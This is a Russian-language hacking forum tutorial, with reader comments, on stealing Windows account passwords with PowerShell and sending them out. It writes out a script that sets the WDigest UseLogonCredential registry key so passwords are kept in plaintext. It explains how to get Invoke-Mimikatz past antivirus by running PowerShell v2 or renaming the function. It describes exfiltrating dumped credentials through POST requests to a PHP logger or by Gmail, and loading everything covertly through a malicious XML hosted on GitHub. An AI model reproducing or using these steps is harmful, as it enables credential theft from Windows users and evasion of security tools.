Статья PowerShell для хакера (чать VII ) [Хищение паролей Windows с отправкой на почту]

123.jpg

Доброго времени суток колеги. Сегодня мы с вами посмотрим как используя возможности PowerShell можно похитить логины и пароли учетных записей пользователей Windows систем и отправить их на почту или Web сервер.
Сегодня мы с вами с помощью PowerShell :
  • Научимся изменять(создавать) и проверять наличие ключей реестра в Windows
  • Обходить Антивирусы и WindowsDefender при подгрузке mimikatz в памяти(Invoke-Mimikatz)
  • Отсылать пароли на:
    • Веб сервер
    • На почту
  • Немного вспомним материал из прошлых статей.
Я надеюсь большинство из вас наверняка слышали про замечательный продукт для тестирования безопасности Windows Систем ,который носит названия Mimikatz и по сегодняшний день благодарят его создателя (blog.gentilkiwi.com) Это программа используя уязвимость в WDigest.dll может получить логины и пароли в чистем виде.
3.png

Но с появлением Windows 8.1 разработчики добавили некоторую защиту,пытаясь урезать функционал WDigest ,но потом в одном из своих обновлениях все-таки вернула функционал WDigest,так как он используется во многих продуктах(Например ) И возможность получить пароли в открытом виде существует и по сегодняшний день даже в Windows 10.
Так вот первым нашим шагом будет включение возможности хранение в памяти LSA memory наших паролей в чистом виде(так как по умолчанию эта возможность выключена)
Делается это очень просто, нужно всего лишь создать ключ реестра с именем UseLogonCredential со значением 1 по следующему пути:
(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential)
Давайте научимся делать изменение в реестре с помощью PowerShell:
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ -Name UseLogonCredential -Type DWORD -Value 1
1.PNG
2.PNG


Почему с помощью PowerShell? Все просто) Я буду размещать набор команд на PowerShell в отдельном файле(скрипте) где то на гитхабе , и одной командой буду просто подгружать этот скрипт)
Сперва в этот скрипте я сделаю маленькую проверку на наличие нужного мне ключа в реестре,и если его не будет - то он будет создаваться.


Код:
$Path="HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\"
$key = "UseLogonCredential"
Function Lsa_Hack
{
New-ItemProperty -Path $Path -Name $key -Type DWORD -Value 1
}

Function Test-RegistryValue($regkey, $name) {
    $exists = Get-ItemProperty -Path "$regkey" -Name "$name" -ErrorAction SilentlyContinue
    If (($exists -ne $null) -and ($exists.Length -ne 0)) {
        Return $true
    }
    Return $false
}

if ((Test-RegistryValue $Path $key) -eq $false ) {Lsa_Hack}
Как видите объявил две переменные, $Path путь в реестре, $key - имя ключа реестра
Две функции:
Lsa_Hack - которая создает ключ нужный для включение хранение паролей в чистом виде
Test-RegistryValue - ф-я которая проверяет наличие ключа
Затем идет простейшее условие (если ключа нету то выполни функции Lsa_Hack)
Выглядит примерно так:
7.PNG
6.PNG


И так, с первым этапом думаю более менее понятно. Переходим к следующему шагу:
Обход антивируса и WinDefender:
После появление в свет программы Mimikatz все антивирусные команды начали жестко работать с его сигнатурами, и хранить эту программу локально на компьютере очень проблемно. В результате чего автор PowerSploit создал версию Mimikatz ,который загружается в оперативной памяти(не нужно скачивать его локально) Invoke-Mimikatz . Но в последнее время в PowerShell был встроен функционал который фильтрует такие подгрузки и распознает такие попытке как вредоносные:
3.png


Но проблема решаема. Достаточно запустить эту же команду в PowerShell меньшей версией,например вот в powershell -v 2 отработало нормально:
4.PNG

Второй способ - это просто заменить имена функций в скрипте и убрать секции комментариев и примеров в скрипте, и также разместить где то по другому адресу:
1234.PNG

В этом примере я заменил имя функции Invoke-Mimikatz на Invoke-Codeby - и никто не поругался,все отлично отработало)

6.PNG


Здесь надеюсь все понятно)
Идем дальше:
Отправка результатов команды на Веб Сервер:
Сперва давайте посмотрим как отправит POST запросы с помощью PowerShell
В этом нам поможет готовый функционал командлета
7.PNG

Как видите все просто... Теперь в переменную можно положить результат команды Invoke-Codeby:
8.PNG

Как видим нам прилетело POST запросом логин и пароль учетной записи Windows.
Если мы хотим что бы данные записывались где то в текстовый файлик на нашем веб сервере можно сделать так:
Создать какой то скрипт на PHP который будет дампить пост запросы в текстовый файл:
9.PNG

В данном примере просто пишутся все данные которые передаются пост параметром hack:
11.PNG
12.PNG

Тут я думаю все понятно) Давайте теперь отправим результат команды на почту gmail:
14.PNG
15.PNG


По итогу я положил Invoke-Codeby.ps1 в отдельный скрипт на гитхабе и собрал все команды в один скрипт:
17.PNG
16.PNG
18.PNG
19.PNG


Теперь немного вспомним мою прошлую статью и создадим вредоносную XML для незаметной подргрузки(Разместим где то на гитхабе к примеру):
20.PNG

И получаем тот же результат:
21.PNG


Всем спасибо)) Продолжение следует...

 
Последнее редактирование:
Вопрос...Только из текущего юзера MIMIKATZ может извлечь пароли или есть возможность извлечение из других пользователей?
 
Mimikatz извлечет пароли из всех пользователей, но в win8; win8.1; win10 пароли могут быть не в plaintext, а в NTLM хеше. Почитав маны по Mimikatz можно найти решение этой проблемы.
 
Вопрос...Только из текущего юзера MIMIKATZ может извлечь пароли или есть возможность извлечение из других пользователей?
Для того что бы извлечь пароли ВАМ НЕОБХОДИМО ОБЛАДАТЬ ВЫСОКИМИ ПРИВИЛЕГИЯМИ В СИСТЕМЕ.

---- Добавлено позже ----

Mimikatz извлечет пароли из всех пользователей, но в win8; win8.1; win10 пароли могут быть не в plaintext, а в NTLM хеше. Почитав маны по Mimikatz можно найти решение этой проблемы.
Для начало прочтите эту статью внимательно. Вначале статьи описана техника включения WDIGEST.

Для эксперемента включите WDIGEST и запустите мимикатс после перезагрузки системы, если WDIGEST будет включен то при логине в систему логин и пароль будут хранится в чистом плейнтексте.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!